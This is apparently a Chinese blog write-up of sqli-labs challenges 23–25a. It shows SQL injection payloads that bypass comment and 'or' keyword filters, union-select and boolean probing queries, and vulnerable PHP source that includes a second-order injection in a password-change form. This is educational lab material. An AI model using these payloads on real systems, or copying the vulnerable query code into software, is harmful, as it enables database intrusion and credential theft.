您的位置:首页 > 数据库

sqli labs 5

2016-10-15 01:19 78 查看
1. 题目:23 Get-error-based-script comments

输入代码 id=1',
报错:'1'' LIMIT 0,1
根据错误可以尝试构造sql语句: select * from table where id='1' limit 0,1

所以注入的语句可以是:1' or 1=1 --+(#),但是这两种注释都报错,猜测可能是过滤了字符串 -- # ,

再次构造注入语句是: 1' or '1'='1  页面正常显示

构造sql语句:-1' union select version(),database(),3 or '1'='1
页面显示: Your Login name:security
Your Password:1

ok,注入点找到了!!!

----------
下来我们看看源码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

查看源码后,真的是过滤了 -- # ,而且查询语句也是差不多的!!!


2. 题目:24

这道题目是查看源码后找到的注入:
在pass_change.php 中存在如下这一段代码:
**$username= $_SESSION["username"];**
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';

这段代码对username字段没有检测,所以在这里可以进行注入,


3. 题目:25

输入id=1',页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

尝试构造查询的sql语句: select * from table where id='1' limit 0,1;

使输入的id=1' or 1=1 # 页面报错,结合题目的提示,判断过滤了or
所以考虑不使用or,
构造id=1' oorR  1=1 --+, 页面返回正常,所以我们可以考虑构造如下的id
id=1' oorR (select count(*) from aa )>0 --+,在页面中返回 Table 'security.aa' doesn't exist ,可知在数据库中不存在aa表

ok,注入点找出来了,接下来就可以从数据库中得到自己想要的


4. 题目:25a

这道题和上一道题很相似,上一题是直接爆出slq语法错误,这一题不会报,只能根据返回的页面判断是否是注入成功。

使id=?id=1 oOrr (select count(*) from users)>0  --+,页面中返回
Your Login name:Dumb
Your Password:Dumb,这中情况下就是sql语句正常执行了,如果没有显示侧表明,sql语句没有正常执行。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  sql